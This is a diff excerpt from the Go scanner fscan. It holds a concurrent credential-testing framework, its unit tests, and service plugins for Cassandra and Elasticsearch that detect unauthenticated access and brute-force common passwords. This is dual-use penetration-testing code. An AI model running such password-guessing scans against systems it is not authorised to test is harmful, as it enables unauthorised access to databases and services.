cluster := gocql.NewCluster(info.Host)
|
||||
cluster.Port = info.Port
|
||||
cluster.Timeout = config.Timeout
|
||||
cluster.ConnectTimeout = config.Timeout
|
||||
|
||||
session, err := cluster.CreateSession()
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
if strings.Contains(strings.ToLower(err.Error()), "authentication") {
|
||||
banner := "Cassandra (需要认证)"
|
||||
common.LogSuccess(i18n.Tr("cassandra_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "cassandra",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "cassandra",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
session.Close()
|
||||
|
||||
banner := "Cassandra"
|
||||
common.LogSuccess(i18n.Tr("cassandra_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "cassandra",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("cassandra", func() Plugin {
|
||||
return NewCassandraPlugin()
|
||||
}, []int{9042, 9160, 7000, 7001})
|
||||
}
|
||||
@@ -0,0 +1,386 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"io"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
/*
|
||||
credential_tester.go - 统一凭据测试框架
|
||||
|
||||
解决的问题:
|
||||
1. goroutine 泄漏:context 取消时正确清理资源
|
||||
2. 效率问题:找到成功凭据后通知其他 worker 停止
|
||||
3. 代码重复:20+ 插件共享同一套并发测试逻辑
|
||||
|
||||
设计原则:
|
||||
- 简洁:只提供必要的抽象
|
||||
- 安全:正确处理 context 取消和资源清理
|
||||
- 通用:适用于所有凭据测试场景
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 错误类型定义
|
||||
// =============================================================================
|
||||
|
||||
// ErrorType 错误分类
|
||||
type ErrorType int
|
||||
|
||||
const (
|
||||
ErrorTypeAuth ErrorType = iota // 认证错误 - 密码错误,不重试
|
||||
ErrorTypeNetwork // 网络错误 - 连接问题,可重试
|
||||
ErrorTypeUnknown // 未知错误
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 核心类型定义
|
||||
// =============================================================================
|
||||
|
||||
// AuthResult 认证结果
|
||||
type AuthResult struct {
|
||||
Success bool
|
||||
Conn io.Closer // 成功时的连接,需要调用者关闭
|
||||
ErrorType ErrorType
|
||||
Error error
|
||||
}
|
||||
|
||||
// AuthFunc 认证函数类型
|
||||
// 执行实际的连接和认证操作
|
||||
// 返回的 Conn 在成功时由调用者负责关闭
|
||||
type AuthFunc func(ctx context.Context, cred Credential) *AuthResult
|
||||
|
||||
// ErrorClassifier 错误分类函数
|
||||
type ErrorClassifier func(err error) ErrorType
|
||||
|
||||
// =============================================================================
|
||||
// 单凭据测试(解决 goroutine 泄漏)
|
||||
// =============================================================================
|
||||
|
||||
// TestSingleCredential 安全地测试单个凭据
|
||||
// 正确处理 context 取消时的资源清理
|
||||
func TestSingleCredential(ctx context.Context, cred Credential, authFn AuthFunc) *AuthResult {
|
||||
resultChan := make(chan *AuthResult, 1)
|
||||
|
||||
go func() {
|
||||
result := authFn(ctx, cred)
|
||||
resultChan <- result
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
// context 被取消,但 goroutine 可能还在运行
|
||||
// 启动清理协程:等待结果并关闭连接
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 并发凭据测试(解决效率问题)
|
||||
// =============================================================================
|
||||
|
||||
// ConcurrentTestConfig 并发测试配置
|
||||
type ConcurrentTestConfig struct {
|
||||
Concurrency int // 并发数,默认 10
|
||||
MaxRetries int // 最大重试次数,默认 3
|
||||
RetryDelay time.Duration // 重试延迟,默认 1s
|
||||
MaxConsecutiveNetErrors int // 连续网络错误阈值,超过则认为目标不可达,默认 5
|
||||
}
|
||||
|
||||
// DefaultConcurrentTestConfig 默认配置
|
||||
func DefaultConcurrentTestConfig(config *common.Config) ConcurrentTestConfig {
|
||||
concurrency := config.ModuleThreadNum
|
||||
if concurrency <= 0 {
|
||||
concurrency = 10
|
||||
}
|
||||
return ConcurrentTestConfig{
|
||||
Concurrency: concurrency,
|
||||
MaxRetries: 3,
|
||||
RetryDelay: time.Second,
|
||||
}
|
||||
}
|
||||
|
||||
// TestCredentialsConcurrently 并发测试多个凭据
|
||||
// 找到成功凭据后立即通知其他 worker 停止
|
||||
func TestCredentialsConcurrently(
|
||||
ctx context.Context,
|
||||
credentials []Credential,
|
||||
authFn AuthFunc,
|
||||
serviceName string,
|
||||
testConfig ConcurrentTestConfig,
|
||||
) *ScanResult {
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: serviceName,
|
||||
Error: fmt.Errorf("无凭据可测试"),
|
||||
}
|
||||
}
|
||||
|
||||
// 调整并发数
|
||||
concurrency := testConfig.Concurrency
|
||||
if concurrency > len(credentials) {
|
||||
concurrency = len(credentials)
|
||||
}
|
||||
|
||||
// 创建可取消的 context - 找到成功后取消其他 worker
|
||||
cancelCtx, cancel := context.WithCancel(ctx)
|
||||
defer cancel()
|
||||
|
||||
// 通道
|
||||
credChan := make(chan Credential, len(credentials))
|
||||
resultChan := make(chan *ScanResult, concurrency)
|
||||
|
||||
// 发送所有凭据
|
||||
for _, cred := range credentials {
|
||||
credChan <- cred
|
||||
}
|
||||
close(credChan)
|
||||
|
||||
// 启动 workers
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < concurrency; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
workerTestCredentials(cancelCtx, credChan, resultChan, authFn, serviceName, testConfig)
|
||||
}()
|
||||
}
|
||||
|
||||
// 等待所有 worker 完成后关闭结果通道
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 收集结果
|
||||
for result := range resultChan {
|
||||
if result != nil && result.Success {
|
||||
cancel() // 通知其他 worker 停止
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
// 检查父 context 是否被取消
|
||||
if ctx.Err() != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: serviceName,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeCredential, // 标记这是凭据测试结果
|
||||
Success: false,
|
||||
Service: serviceName,
|
||||
Error: fmt.Errorf("未发现弱密码"),
|
||||
}
|
||||
}
|
||||
|
||||
// workerTestCredentials worker 协程
|
||||
func workerTestCredentials(
|
||||
ctx context.Context,
|
||||
credChan <-chan Credential,
|
||||
resultChan chan<- *ScanResult,
|
||||
authFn AuthFunc,
|
||||
serviceName string,
|
||||
testConfig ConcurrentTestConfig,
|
||||
) {
|
||||
for cred := range credChan {
|
||||
// 检查是否应该停止
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
// 带重试的凭据测试
|
||||
result := testCredentialWithRetry(ctx, cred, authFn, serviceName, testConfig)
|
||||
if result != nil && result.Success {
|
||||
resultChan <- result
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// testCredentialWithRetry 带重试的凭据测试
|
||||
func testCredentialWithRetry(
|
||||
ctx context.Context,
|
||||
cred Credential,
|
||||
authFn AuthFunc,
|
||||
serviceName string,
|
||||
testConfig ConcurrentTestConfig,
|
||||
) *ScanResult {
|
||||
for attempt := 0; attempt < testConfig.MaxRetries; attempt++ {
|
||||
// 检查是否应该停止
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
|
||||
// 测试凭据
|
||||
result := TestSingleCredential(ctx, cred, authFn)
|
||||
|
||||
if result.Success && result.Conn != nil {
|
||||
// 成功,关闭连接并返回
|
||||
_ = result.Conn.Close()
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Success: true,
|
||||
Service: serviceName,
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
}
|
||||
}
|
||||
|
||||
// 根据错误类型决定是否重试
|
||||
switch result.ErrorType {
|
||||
case ErrorTypeAuth:
|
||||
// 认证错误(密码错误),不重试
|
||||
return nil
|
||||
case ErrorTypeNetwork, ErrorTypeUnknown:
|
||||
// 网络错误或未知错误,可以重试(可能是服务端限流等临时问题)
|
||||
if attempt < testConfig.MaxRetries-1 {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
case <-time.After(testConfig.RetryDelay):
|
||||
// 继续重试
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 通用错误分类
|
||||
// =============================================================================
|
||||
|
||||
// CommonNetworkErrors 常见的网络错误关键词
|
||||
var CommonNetworkErrors = []string{
|
||||
"connection reset by peer",
|
||||
"connection refused",
|
||||
"timeout",
|
||||
"network unreachable",
|
||||
"broken pipe",
|
||||
"no route to host",
|
||||
"connection timed out",
|
||||
"i/o timeout",
|
||||
"connection aborted",
|
||||
"host is down",
|
||||
}
|
||||
|
||||
// CommonAuthErrors 常见的认证错误关键词
|
||||
var CommonAuthErrors = []string{
|
||||
"unable to authenticate",
|
||||
"authentication failed",
|
||||
"permission denied",
|
||||
"access denied",
|
||||
"invalid credentials",
|
||||
"bad password",
|
||||
"login incorrect",
|
||||
}
|
||||
|
||||
// ClassifyError 通用错误分类函数
|
||||
func ClassifyError(err error, authKeywords, networkKeywords []string) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
errStr := err.Error()
|
||||
|
||||
// 先检查认证错误
|
||||
for _, keyword := range authKeywords {
|
||||
if containsIgnoreCase(errStr, keyword) {
|
||||
return ErrorTypeAuth
|
||||
}
|
||||
}
|
||||
|
||||
// 再检查网络错误
|
||||
for _, keyword := range networkKeywords {
|
||||
if containsIgnoreCase(errStr, keyword) {
|
||||
return ErrorTypeNetwork
|
||||
}
|
||||
}
|
||||
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
// containsIgnoreCase 忽略大小写的字符串包含检查
|
||||
func containsIgnoreCase(s, substr string) bool {
|
||||
return len(s) >= len(substr) &&
|
||||
(s == substr ||
|
||||
len(substr) == 0 ||
|
||||
findIgnoreCase(s, substr) >= 0)
|
||||
}
|
||||
|
||||
// findIgnoreCase 忽略大小写查找子串
|
||||
func findIgnoreCase(s, substr string) int {
|
||||
if len(substr) == 0 {
|
||||
return 0
|
||||
}
|
||||
if len(substr) > len(s) {
|
||||
return -1
|
||||
}
|
||||
for i := 0; i <= len(s)-len(substr); i++ {
|
||||
if matchIgnoreCase(s[i:i+len(substr)], substr) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// matchIgnoreCase 忽略大小写比较
|
||||
func matchIgnoreCase(a, b string) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := 0; i < len(a); i++ {
|
||||
ca, cb := a[i], b[i]
|
||||
if ca >= 'A' && ca <= 'Z' {
|
||||
ca += 'a' - 'A'
|
||||
}
|
||||
if cb >= 'A' && cb <= 'Z' {
|
||||
cb += 'a' - 'A'
|
||||
}
|
||||
if ca != cb {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 通用数据库连接包装
|
||||
// =============================================================================
|
||||
|
||||
// SQLDBWrapper 包装 sql.DB 以实现 io.Closer
|
||||
// 用于 MySQL、PostgreSQL、MSSQL、Oracle 等数据库插件的连接返回
|
||||
type SQLDBWrapper struct {
|
||||
*sql.DB
|
||||
}
|
||||
|
||||
func (w *SQLDBWrapper) Close() error {
|
||||
return w.DB.Close()
|
||||
}
|
||||
@@ -0,0 +1,454 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
/*
|
||||
credential_tester_test.go - 凭据测试框架高价值测试
|
||||
|
||||
测试重点:
|
||||
1. 错误分类准确性 - 认证错误 vs 网络错误,影响重试策略
|
||||
2. 字符串函数边界情况 - 空串、大小写、部分匹配
|
||||
3. 并发安全性 - 早期退出、资源清理
|
||||
4. context 取消处理 - 不泄漏 goroutine
|
||||
|
||||
不测试:
|
||||
- 具体的服务连接(那是各插件的职责)
|
||||
- 配置解析
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 错误分类测试
|
||||
// =============================================================================
|
||||
|
||||
// TestClassifyError_AuthErrors 测试认证错误识别
|
||||
func TestClassifyError_AuthErrors(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
err error
|
||||
expected ErrorType
|
||||
}{
|
||||
{"认证失败", errors.New("authentication failed"), ErrorTypeAuth},
|
||||
{"权限拒绝", errors.New("permission denied"), ErrorTypeAuth},
|
||||
{"访问拒绝", errors.New("Access Denied"), ErrorTypeAuth},
|
||||
{"密码错误", errors.New("Bad Password"), ErrorTypeAuth},
|
||||
{"登录错误", errors.New("LOGIN INCORRECT"), ErrorTypeAuth},
|
||||
{"凭据无效", errors.New("Invalid Credentials"), ErrorTypeAuth},
|
||||
{"无法认证", errors.New("unable to authenticate"), ErrorTypeAuth},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
result := ClassifyError(tc.err, CommonAuthErrors, CommonNetworkErrors)
|
||||
if result != tc.expected {
|
||||
t.Errorf("期望 ErrorTypeAuth, 实际 %v", result)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestClassifyError_NetworkErrors 测试网络错误识别
|
||||
func TestClassifyError_NetworkErrors(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
err error
|
||||
expected ErrorType
|
||||
}{
|
||||
{"连接重置", errors.New("connection reset by peer"), ErrorTypeNetwork},
|
||||
{"连接拒绝", errors.New("connection refused"), ErrorTypeNetwork},
|
||||
{"超时", errors.New("timeout"), ErrorTypeNetwork},
|
||||
{"网络不可达", errors.New("network unreachable"), ErrorTypeNetwork},
|
||||
{"管道破裂", errors.New("broken pipe"), ErrorTypeNetwork},
|
||||
{"无路由", errors.New("no route to host"), ErrorTypeNetwork},
|
||||
{"IO超时", errors.New("i/o timeout"), ErrorTypeNetwork},
|
||||
{"主机宕机", errors.New("host is down"), ErrorTypeNetwork},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
result := ClassifyError(tc.err, CommonAuthErrors, CommonNetworkErrors)
|
||||
if result != tc.expected {
|
||||
t.Errorf("期望 ErrorTypeNetwork, 实际 %v", result)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestClassifyError_Priority 测试错误分类优先级
|
||||
//
|
||||
// 如果错误同时包含认证和网络关键词,认证应该优先
|
||||
func TestClassifyError_Priority(t *testing.T) {
|
||||
// 错误信息同时包含 "authentication failed" 和 "timeout"
|
||||
mixedErr := errors.New("authentication failed due to timeout")
|
||||
result := ClassifyError(mixedErr, CommonAuthErrors, CommonNetworkErrors)
|
||||
|
||||
// 认证错误应该优先
|
||||
if result != ErrorTypeAuth {
|
||||
t.Errorf("期望 ErrorTypeAuth(认证优先),实际 %v", result)
|
||||
}
|
||||
}
|
||||
|
||||
// TestClassifyError_EdgeCases 边界情况
|
||||
func TestClassifyError_EdgeCases(t *testing.T) {
|
||||
t.Run("nil error", func(t *testing.T) {
|
||||
result := ClassifyError(nil, CommonAuthErrors, CommonNetworkErrors)
|
||||
if result != ErrorTypeUnknown {
|
||||
t.Errorf("nil error 应该返回 Unknown, 实际 %v", result)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("未知错误", func(t *testing.T) {
|
||||
result := ClassifyError(errors.New("something weird happened"), CommonAuthErrors, CommonNetworkErrors)
|
||||
if result != ErrorTypeUnknown {
|
||||
t.Errorf("未知错误应该返回 Unknown, 实际 %v", result)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("空关键词列表", func(t *testing.T) {
|
||||
result := ClassifyError(errors.New("authentication failed"), nil, nil)
|
||||
if result != ErrorTypeUnknown {
|
||||
t.Errorf("空关键词列表应该返回 Unknown, 实际 %v", result)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 字符串函数测试
|
||||
// =============================================================================
|
||||
|
||||
// TestContainsIgnoreCase 忽略大小写包含检查
|
||||
func TestContainsIgnoreCase(t *testing.T) {
|
||||
testCases := []struct {
|
||||
s string
|
||||
substr string
|
||||
expected bool
|
||||
}{
|
||||
// 正常情况
|
||||
{"hello world", "world", true},
|
||||
{"HELLO WORLD", "world", true},
|
||||
{"hello world", "WORLD", true},
|
||||
{"Hello World", "LLO", true},
|
||||
|
||||
// 不包含
|
||||
{"hello world", "xyz", false},
|
||||
{"hello", "hello world", false},
|
||||
|
||||
// 边界情况
|
||||
{"", "", true},
|
||||
{"hello", "", true},
|
||||
{"", "a", false},
|
||||
{"a", "a", true},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.s+"_"+tc.substr, func(t *testing.T) {
|
||||
result := containsIgnoreCase(tc.s, tc.substr)
|
||||
if result != tc.expected {
|
||||
t.Errorf("containsIgnoreCase(%q, %q) = %v, 期望 %v",
|
||||
tc.s, tc.substr, result, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestMatchIgnoreCase 忽略大小写精确匹配
|
||||
func TestMatchIgnoreCase(t *testing.T) {
|
||||
testCases := []struct {
|
||||
a, b string
|
||||
expected bool
|
||||
}{
|
||||
{"hello", "hello", true},
|
||||
{"HELLO", "hello", true},
|
||||
{"Hello", "hElLo", true},
|
||||
{"hello", "world", false},
|
||||
{"hello", "hell", false},
|
||||
{"", "", true},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.a+"_"+tc.b, func(t *testing.T) {
|
||||
result := matchIgnoreCase(tc.a, tc.b)
|
||||
if result != tc.expected {
|
||||
t.Errorf("matchIgnoreCase(%q, %q) = %v, 期望 %v",
|
||||
tc.a, tc.b, result, tc.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 并发测试
|
||||
// =============================================================================
|
||||
|
||||
// mockConn 模拟连接
|
||||
type mockConn struct {
|
||||
closed atomic.Bool
|
||||
}
|
||||
|
||||
func (c *mockConn) Close() error {
|
||||
c.closed.Store(true)
|
||||
return nil
|
||||
}
|
||||
|
||||
// TestTestCredentialsConcurrently_EarlyExit 测试找到成功凭据后早期退出
|
||||
func TestTestCredentialsConcurrently_EarlyExit(t *testing.T) {
|
||||
// 准备100个凭据,第5个会成功
|
||||
credentials := make([]Credential, 100)
|
||||
for i := range credentials {
|
||||
credentials[i] = Credential{Username: "user", Password: "pass" + string(rune('0'+i%10))}
|
||||
}
|
||||
|
||||
var testedCount atomic.Int32
|
||||
successPassword := "pass5"
|
||||
|
||||
// 模拟认证函数
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
testedCount.Add(1)
|
||||
time.Sleep(10 * time.Millisecond) // 模拟网络延迟
|
||||
|
||||
if cred.Password == successPassword {
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &mockConn{},
|
||||
}
|
||||
}
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
}
|
||||
}
|
||||
|
||||
config := ConcurrentTestConfig{
|
||||
Concurrency: 5,
|
||||
MaxRetries: 1,
|
||||
RetryDelay: time.Millisecond,
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "test", config)
|
||||
|
||||
if !result.Success {
|
||||
t.Fatal("应该找到成功的凭据")
|
||||
}
|
||||
|
||||
// 验证早期退出:不应该测试所有100个凭据
|
||||
tested := testedCount.Load()
|
||||
if tested >= 100 {
|
||||
t.Errorf("早期退出失败:测试了 %d 个凭据(应该远少于100)", tested)
|
||||
}
|
||||
t.Logf("测试了 %d 个凭据后找到成功凭据", tested)
|
||||
}
|
||||
|
||||
// TestTestCredentialsConcurrently_EmptyCredentials 空凭据测试
|
||||
func TestTestCredentialsConcurrently_EmptyCredentials(t *testing.T) {
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return &AuthResult{Success: false}
|
||||
}
|
||||
|
||||
config := ConcurrentTestConfig{
|
||||
Concurrency: 5,
|
||||
MaxRetries: 1,
|
||||
}
|
||||
|
||||
result := TestCredentialsConcurrently(context.Background(), nil, authFn, "test", config)
|
||||
|
||||
if result.Success {
|
||||
t.Error("空凭据不应该返回成功")
|
||||
}
|
||||
if result.Error == nil {
|
||||
t.Error("空凭据应该返回错误")
|
||||
}
|
||||
}
|
||||
|
||||
// TestTestCredentialsConcurrently_ContextCancel 测试context取消
|
||||
func TestTestCredentialsConcurrently_ContextCancel(t *testing.T) {
|
||||
credentials := make([]Credential, 100)
|
||||
for i := range credentials {
|
||||
credentials[i] = Credential{Username: "user", Password: "pass"}
|
||||
}
|
||||
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
// 模拟慢速认证
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
config := ConcurrentTestConfig{
|
||||
Concurrency: 5,
|
||||
MaxRetries: 1,
|
||||
}
|
||||
|
||||
// 50ms后取消
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 50*time.Millisecond)
|
||||
defer cancel()
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "test", config)
|
||||
|
||||
if result.Success {
|
||||
t.Error("context取消后不应该返回成功")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 单凭据测试
|
||||
// =============================================================================
|
||||
|
||||
// TestTestSingleCredential_Success 测试成功情况
|
||||
func TestTestSingleCredential_Success(t *testing.T) {
|
||||
conn := &mockConn{}
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: conn,
|
||||
}
|
||||
}
|
||||
|
||||
cred := Credential{Username: "admin", Password: "admin"}
|
||||
result := TestSingleCredential(context.Background(), cred, authFn)
|
||||
|
||||
if !result.Success {
|
||||
t.Error("应该返回成功")
|
||||
}
|
||||
if result.Conn == nil {
|
||||
t.Error("成功时应该返回连接")
|
||||
}
|
||||
}
|
||||
|
||||
// TestTestSingleCredential_ContextCancel 测试context取消时的资源清理
|
||||
func TestTestSingleCredential_ContextCancel(t *testing.T) {
|
||||
conn := &mockConn{}
|
||||
authStarted := make(chan struct{})
|
||||
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
close(authStarted)
|
||||
// 模拟慢速认证
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: conn,
|
||||
}
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
|
||||
// 启动认证后立即取消
|
||||
go func() {
|
||||
<-authStarted
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
cancel()
|
||||
}()
|
||||
|
||||
cred := Credential{Username: "admin", Password: "admin"}
|
||||
result := TestSingleCredential(ctx, cred, authFn)
|
||||
|
||||
// 应该返回失败(context被取消)
|
||||
if result.Success {
|
||||
t.Error("context取消后不应该返回成功")
|
||||
}
|
||||
|
||||
// 等待清理协程运行
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
// 连接应该被清理协程关闭
|
||||
if !conn.closed.Load() {
|
||||
t.Error("连接应该被清理协程关闭")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 重试逻辑测试
|
||||
// =============================================================================
|
||||
|
||||
// TestRetryLogic_NetworkErrorRetries 网络错误应该重试
|
||||
func TestRetryLogic_NetworkErrorRetries(t *testing.T) {
|
||||
var attempts atomic.Int32
|
||||
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
count := attempts.Add(1)
|
||||
if count < 3 {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: errors.New("connection timeout"),
|
||||
}
|
||||
}
|
||||
// 第3次成功
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &mockConn{},
|
||||
}
|
||||
}
|
||||
|
||||
cred := Credential{Username: "admin", Password: "admin"}
|
||||
config := ConcurrentTestConfig{
|
||||
Concurrency: 1,
|
||||
MaxRetries: 3,
|
||||
RetryDelay: time.Millisecond,
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, []Credential{cred}, authFn, "test", config)
|
||||
|
||||
if !result.Success {
|
||||
t.Error("网络错误重试后应该成功")
|
||||
}
|
||||
if attempts.Load() != 3 {
|
||||
t.Errorf("应该尝试3次,实际 %d 次", attempts.Load())
|
||||
}
|
||||
}
|
||||
|
||||
// TestRetryLogic_AuthErrorNoRetry 认证错误不应该重试
|
||||
func TestRetryLogic_AuthErrorNoRetry(t *testing.T) {
|
||||
var attempts atomic.Int32
|
||||
|
||||
authFn := func(ctx context.Context, cred Credential) *AuthResult {
|
||||
attempts.Add(1)
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: errors.New("authentication failed"),
|
||||
}
|
||||
}
|
||||
|
||||
cred := Credential{Username: "admin", Password: "wrong"}
|
||||
config := ConcurrentTestConfig{
|
||||
Concurrency: 1,
|
||||
MaxRetries: 3,
|
||||
RetryDelay: time.Millisecond,
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
|
||||
_ = TestCredentialsConcurrently(ctx, []Credential{cred}, authFn, "test", config)
|
||||
|
||||
// 认证错误只应该尝试1次
|
||||
if attempts.Load() != 1 {
|
||||
t.Errorf("认证错误不应该重试,实际尝试了 %d 次", attempts.Load())
|
||||
}
|
||||
}
|
||||
|
||||
// 确保 mockConn 实现 io.Closer 接口
|
||||
var _ io.Closer = (*mockConn)(nil)
|
||||
|
||||
@@ -0,0 +1,147 @@
|
||||
//go:build plugin_elasticsearch || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
type ElasticsearchPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewElasticsearchPlugin() *ElasticsearchPlugin {
|
||||
return &ElasticsearchPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("elasticsearch"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 首先检测未授权访问
|
||||
if p.testCredential(ctx, info, Credential{Username: "", Password: ""}, config, state) {
|
||||
common.LogVuln(i18n.Tr("elasticsearch_unauth", target))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "elasticsearch",
|
||||
VulInfo: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
// 如果需要认证,尝试常见凭据
|
||||
credentials := GenerateCredentials("elasticsearch", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "elasticsearch",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
for _, cred := range credentials {
|
||||
if p.testCredential(ctx, info, cred, config, state) {
|
||||
common.LogVuln(i18n.Tr("elasticsearch_credential", target, cred.Username, cred.Password))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Service: "elasticsearch",
